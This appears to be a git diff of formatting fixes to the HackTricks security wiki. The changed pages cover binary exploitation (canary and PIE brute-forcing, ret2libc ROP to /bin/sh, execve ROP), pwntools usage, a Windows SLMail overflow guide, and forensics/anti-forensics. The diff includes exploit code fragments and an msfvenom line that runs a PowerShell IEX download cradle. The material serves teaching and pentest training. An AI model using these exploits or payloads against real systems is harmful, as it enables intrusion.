**brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary **and **PIE**, you can start brute-forcing the canary, then the **next **8 Bytes (x64) will be the saved **RBP **and the **next **8 Bytes will be the saved **RIP.** +For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: @@ -132,20 +132,20 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ### Get base address -The last thing you need to defeat the PIE is to calculate** useful addresses from the leaked** addresses: the **RBP **and the **RIP**. +The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. -From the **RBP **you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00" _inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP **an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: +From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: ```python INI_SHELLCODE = RBP - 1152 ``` -From the **RIP **you can calculate the** base address of the PIE binary **which is what you are going to need to create a **valid ROP chain**.\ +From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: ![](<../../.gitbook/assets/image (145).png>) -In that example you can see that only **1 Byte and a half is needed **to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _the base address is _0x562002970**000**_ +In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_ ```python elf.address = RIP - (RIP & 0xfff) diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index edf7c036..7f4a85c3 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -2,8 +2,8 @@ ## Quick Resume -1. **Find **overflow **offset** -2. **Find **`POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets +1. **Find** overflow **offset** +2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets 3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) 4. With the library, **calculate the ROP and exploit it** @@ -60,7 +60,7 @@ if OFFSET == "": return ``` -**Execute **`python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console **execute `x/wx $rsp` to get the **bytes **that were going to overwrite the RIP. Finally get the **offset **using a **python **console: +**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: ```python from pwn import * @@ -76,7 +76,7 @@ Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pa ## 2- Finding Gadgets -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc **being used, and later to **launch the final exploit**. +Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts @@ -89,15 +89,15 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` -The `PUTS_PLT `is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function **again after one interaction to **exploit **the overflow **again **(infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP\_RDI **is needed to **pass** a **parameter **to the called function. +The `PUTS_PLT` is needed to call the **function puts**.\ +The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ +The **POP\_RDI** is needed to **pass** a **parameter** to the called function. In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- Finding LIBC library -Now is time to find which version of the **libc **library is being used. To do so we are going to **leak **the **address **in memory of the **function **`puts`and then we are going to **search **in which **library version **the puts version is in that address. +Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. ```python def get_addr(func_name): @@ -134,16 +134,16 @@ To do so, the most important line of the executed code is: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` -This will send some bytes util **overwriting **the **RIP **is possible: `OFFSET`.\ -Then, it will set the **address **of the gadget `POP_RDI `so the next address (`FUNC_GOT`) will be saved in the **RDI **registry. This is because we want to **call puts** **passing **it the **address **of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT `will be called (with `PUTS_GOT `inside the **RDI**) so puts will **read the content** inside `PUTS_GOT `(**the address of puts function in memory**) and will **print it out**.\ +This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ +Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ +After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ Finally, **main function is called again** so we can exploit the overflow again. -This way we have **tricked puts function** to **print **out the **address **in **memory **of the function **puts **(which is inside **libc **library). Now that we have that address we can **search which libc version is being used**. +This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. ![](<../../../.gitbook/assets/image (141).png>) -As we are **exploiting **some **local **binary it is **not needed **to figure out which version of **libc **is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ +As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ But, in a remote exploit case I will explain here how can you find it: ### 3.1- Searching for libc version (1) @@ -167,7 +167,7 @@ For this to work we need: * Libc symbol name: `puts` * Leaked libc adddress: `0x7ff629878690` -We can figure out which **libc **that is most likely used. +We can figure out which **libc** that is most likely used. ``` ./find puts 0x7ff629878690 @@ -202,9 +202,9 @@ gets At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` -So, at the begging of `template.py` change the **libc **variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` +So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -Giving the **path **to the **libc library **the rest of the **exploit is going to be automatically calculated**. +Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. Inside the `get_addr`function the **base address of libc** is going to be calculated: @@ -218,7 +218,7 @@ if libc != "": Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. {% endhint %} -Then, the address to the function `system `and the **address **to the string_ "/bin/sh"_ are going to be **calculated **from the **base address** of **libc **and given the **libc library.** +Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh @@ -242,17 +242,17 @@ p.interactive() #Interact with the conenction ``` Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again **the **overflow **(that's why the `OFFSET `is here again). Then, we want to call `POP_RDI `pointing to the **addres **of _"/bin/sh"_ (`BINSH`) and call **system **function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called **so the process** exists nicely** and any alert is generated. +The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ +Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. -**This way the exploit will execute a **_**/bin/sh **_**shell.** +**This way the exploit will execute a **_**/bin/sh**_** shell.** ![](<../../../.gitbook/assets/image (143).png>) ## 4(2)- Using ONE\_GADGET -You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system **and **"/bin/sh". ONE\_GADGET **will find inside the libc library some way to obtain a shell using just one **ROP address**. \ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP **you just have to send some more NULL values so the constrain is avoided. +You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \ +However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. ![](<../../../.gitbook/assets/image (615).png>) @@ -293,7 +293,7 @@ If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error **after creating **all **the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Try to **subtract 64 bytes to the address of "/bin/sh"**: diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index 70aa78f0..8e182429 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -210,7 +210,7 @@ If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error **after creating **all **the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` Try to **subtract 64 bytes to the address of "/bin/sh"**: diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index d8d86ac0..ff6c86aa 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -1,4 +1,4 @@ -# ROP - call sys_execve +# ROP - call sys\_execve In order to prepare the call for the **syscall** it's needed the following configuration: @@ -11,7 +11,7 @@ So, basically it's needed to write the string `/bin/sh` somewhere and then perfo ## Control the registers -Let's start by finding** how to control those registers**: +Let's start by finding **how to control those registers**: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" @@ -21,7 +21,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004498b5 : pop rdx ; ret ``` -With these addresses it's possible to** write the content in the stack and load it into the registers**. +With these addresses it's possible to **write the content in the stack and load it into the registers**. ## Write string @@ -160,4 +160,4 @@ target.interactive() ## References -* [https://guyinatuxedo.github.io/07-bof_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19\_speedrun1/index.html) +* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 6db213a3..b1bc7e4f 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -61,9 +61,9 @@ apt-get install gdb \> **print variable**\ \> **print 0x87654321 - 0x12345678** --> Caculate\ -\> **examine o/x/u/t/i/s dir_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii +\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii -* **x/o 0xDir_hex** +* **x/o 0xDir\_hex** * **x/2x $eip** --> 2Words from EIP * **x/2x $eip -4** --> $eip - 4 * **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) @@ -109,18 +109,18 @@ gef➤ pattern search 0x6261617762616176 #### GDB same addresses -While debugging GDB will have **slightly different addresses than the used by the binary when executed. **You can make GDB have the same addresses by doing: +While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: * `unset env LINES` * `unset env COLUMNS` * `set env _=` _Put the absolute path to the binary_ * Exploit the binary using the same absolute route -* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary #### Backtrace to find functions called -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to** identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running **the binary with **gdb **until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ +You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: ``` gef➤ bt @@ -139,7 +139,7 @@ gef➤ bt ### Find stack offset -**Ghidra **is very useful to find the the **offset **for a **buffer overflow thanks to the information about the position of the local variables.**\ +**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ ****For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ @@ -147,10 +147,10 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **-o** --> Output\ **-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux **To compile a shellcode:**\ **nasm -f elf assembly.asm** --> return a ".o"\ @@ -158,16 +158,16 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ## Objdump -**-d** --> **Disassemble executable **sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel **syntax\ -**-t** --> **Symbols **table\ -**-D** --> **Disassemble all **(address of static variable)\ +**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ +**-Mintel** --> **Intel** syntax\ +**-t** --> **Symbols** table\ +**-D** --> **Disassemble all** (address of static variable)\ **-s -j .dtors** --> dtors section\ **-s -j .got** --> got section\ -\-D -s -j .plt --> **plt **section **decompiled**\ +\-D -s -j .plt --> **plt** section **decompiled**\ **-TR** --> **Relocations**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section). ## Core dumps @@ -183,7 +183,7 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" **strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable --> **Address of all the functions +**rabin2 -i ejecutable -->** Address of all the functions ## **Inmunity debugger** @@ -196,12 +196,12 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ### Debugging in remote linux -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server _or _linux_server64 _inside the linux server and run it nside the folder that contains the binary: +Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary: ``` ./linux_server64 -Ppass ``` - Then, configure the debugger: Debugger (linux remote) --> Proccess options...: + Then, configure the debugger: Debugger (linux remote) --> Proccess options...: ![](<../../.gitbook/assets/image (101).png>) diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index cb29690f..9f3754c5 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -4,25 +4,25 @@ pip3 install pwntools ``` -## Pwn asm +## Pwn asm -Get opcodes from line or file. +Get opcodes from line or file. ``` pwn asm "jmp esp" pwn asm -i ``` -**Can select: ** +**Can select:** * output type (raw,hex,string,elf) * output file context (16,32,64,linux,windows...) -* avoid bytes (new lines, null, a list) +* avoid bytes (new lines, null, a list) * select encoder debug shellcode using gdb run the output -## **Pwn checksec** +## **Pwn checksec** -Checksec script +Checksec script ``` pwn checksec @@ -30,7 +30,7 @@ pwn checksec ## Pwn constgrep -## Pwn cyclic +## Pwn cyclic Get a pattern @@ -39,7 +39,7 @@ pwn cyclic 3000 pwn cyclic -l faad ``` -**Can select:** +**Can select:** * The used alphabet (lowercase chars by default) * Length of uniq pattern (default 4) @@ -56,21 +56,21 @@ pwn debug --pid 1234 pwn debug --process bash ``` -**Can select:** +**Can select:** -* By executable, by name or by pid context (16,32,64,linux,windows...) -* gdbscript to execute +* By executable, by name or by pid context (16,32,64,linux,windows...) +* gdbscript to execute * sysrootpath -## Pwn disablenx +## Pwn disablenx -Disable nx of a binary +Disable nx of a binary ``` pwn disablenx ``` -## Pwn disasm +## Pwn disasm Disas hex opcodes @@ -78,13 +78,13 @@ Disas hex opcodes pwn disasm ffe4 ``` -**Can select:** +**Can select:** -* context (16,32,64,linux,windows...) -* base addres +* context (16,32,64,linux,windows...) +* base addres * color(default)/no color -## Pwn elfdiff +## Pwn elfdiff Print differences between 2 fiels @@ -92,7 +92,7 @@ Print differences between 2 fiels pwn elfdiff ``` -## Pwn hex +## Pwn hex Get hexadecimal representation @@ -100,25 +100,25 @@ Get hexadecimal representation pwn hex hola #Get hex of "hola" ascii ``` -## Pwn phd +## Pwn phd -Get hexdump +Get hexdump ``` pwn phd ``` - **Can select:** + **Can select:** -* Number of bytes to show -* Number of bytes per line highlight byte +* Number of bytes to show +* Number of bytes per line highlight byte * Skip bytes at beginning -## Pwn pwnstrip +## Pwn pwnstrip ## Pwn scrable -## Pwn shellcraft +## Pwn shellcraft Get shellcodes @@ -136,18 +136,18 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port * Out file * output format * debug (attach dbg to shellcode) -* before (debug trap before code) +* before (debug trap before code) * after * avoid using opcodes (default: not null and new line) * Run the shellcode * Color/no color -* list syscalls -* list possible shellcodes +* list syscalls +* list possible shellcodes * Generate ELF as a shared library -## Pwn template +## Pwn template -Get a python template +Get a python template ``` pwn template @@ -155,15 +155,15 @@ pwn template **Can select:** host, port, user, pass, path and quiet -## Pwn unhex +## Pwn unhex -From hex to string +From hex to string ``` pwn unhex 686f6c61 ``` -## Pwn update +## Pwn update To update pwntools diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 475a8e1d..9024598d 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -4,7 +4,7 @@ ## Restart SLMail service -Every time you need to** restart the service SLMail** you can do it using the windows console: +Every time you need to **restart the service SLMail** you can do it using the windows console: ``` net start slmail @@ -150,7 +150,7 @@ In this case you can see that **you shouldn't use the char 0x0A** (nothing is sa ![](<../.gitbook/assets/image (33).png>) -In this case you can see that** the char 0x0D is avoided**: +In this case you can see that **the char 0x0D is avoided**: ![](<../.gitbook/assets/image (34).png>) @@ -162,7 +162,7 @@ Using: !mona modules #Get protections, look for all false except last one (Dll of SO) ``` -You will** list the memory maps**. Search for some DLl that has: +You will **list the memory maps**. Search for some DLl that has: * **Rebase: False** * **SafeSEH: False** @@ -194,7 +194,7 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). -**Add some NOPS at the beginning **of the shellcode and use it and the return address to JMP ESP, and finish the exploit: +**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: ```bash #!/usr/bin/python diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index e657a3e5..1485d29e 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -2,11 +2,11 @@ {% hint style="danger" %} Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. @@ -31,7 +31,7 @@ This **isn't necessary the first step to perform once you have the image**. But ## Inspecting an Image -if you are given a **forensic image** of a device you can start** analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 780543ba..ecb45374 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -2,8 +2,8 @@ ## Timestamps -An attacker may be interested in** changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION`_ _and_ _`$FILE_NAME`. +An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ +It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`. Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). @@ -24,7 +24,7 @@ The previous image is the **output** shown by the **tool** where it can be obser ### $LogFile -All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging).\ +All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging).\ The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.\ It's possible to use tools like [LogFileParser](https://github.com/jschicht/LogFileParser) to parse this file and find changes. @@ -66,11 +66,11 @@ Then, it's possible to retrieve the slack space using tools like FTK Imager. Not ## UsbKill This is a tool that will **turn off the computer is any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and** review each python script running**. +A way to discover this would be to inspect the running processes and **review each python script running**. ## Live Linux Distributions -These distros are **executed inside the RAM** memory. The only way to detect them is** in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. ## Secure Deletion @@ -111,7 +111,7 @@ Whenever a folder is opened from an NTFS volume on a Windows NT server, the syst ### Delete USB History All the **USB Device Entries** are stored in Windows Registry Under **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device in your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them). Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index 6d7100aa..7a0f2f56 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -26,7 +26,7 @@ A /var/lib/mysql/mysql/general_log.CSV ... ``` -In the previous command **C **means **Changed **and **A,** **Added**.\ +In the previous command **C** means **Changed** and **A,** **Added**.\ If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: ```bash @@ -58,13 +58,13 @@ container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` -Then, you can **decompress **the image and **access the blobs** to search for suspicious files you may have found in the changes history: +Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: ```bash tar -xf image.tar ``` -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive)** **(download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: +In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) **** (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: ```bash #First you need to load the image in your docker repo @@ -75,7 +75,7 @@ Loaded image: flask:latest sudo dive flask:latest ``` -This allow you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red **means added and **yellow **means modified. Use **tab **to move to the other view and **space **to to collapse/open folders. +This allow you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to to collapse/open folders. With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ You can decompress all the layers from an image from the directory where the image was decompressed executing: @@ -89,4 +89,4 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials **just [**like in the following example**](../../linux-unix/privilege-escalation/#process-memory). +Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-unix/privilege-escalation/#process-memory). diff --git a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md index 6a8c7ac6..e71234ab 100644 --- a/forensics/basic-forensic-methodology/image-adquisition-and-mount.md +++ b/forensics/basic-forensic-methodology/image-adquisition-and-mount.md @@ -27,7 +27,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript ### EWF -You can generate a dick image using the[** ewf tools**](https://github.com/libyal/libewf). +You can generate a dick image using the[ **ewf tools**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 1a35f7e4..c9e82199 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -4,7 +4,7 @@ ### Basic Information -First of all, it's recommended to have some **USB **with **good known binaries and libraries on it** (you can just get a ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USN, and modify the env variables to use those binaries: +First of all, it's recommended 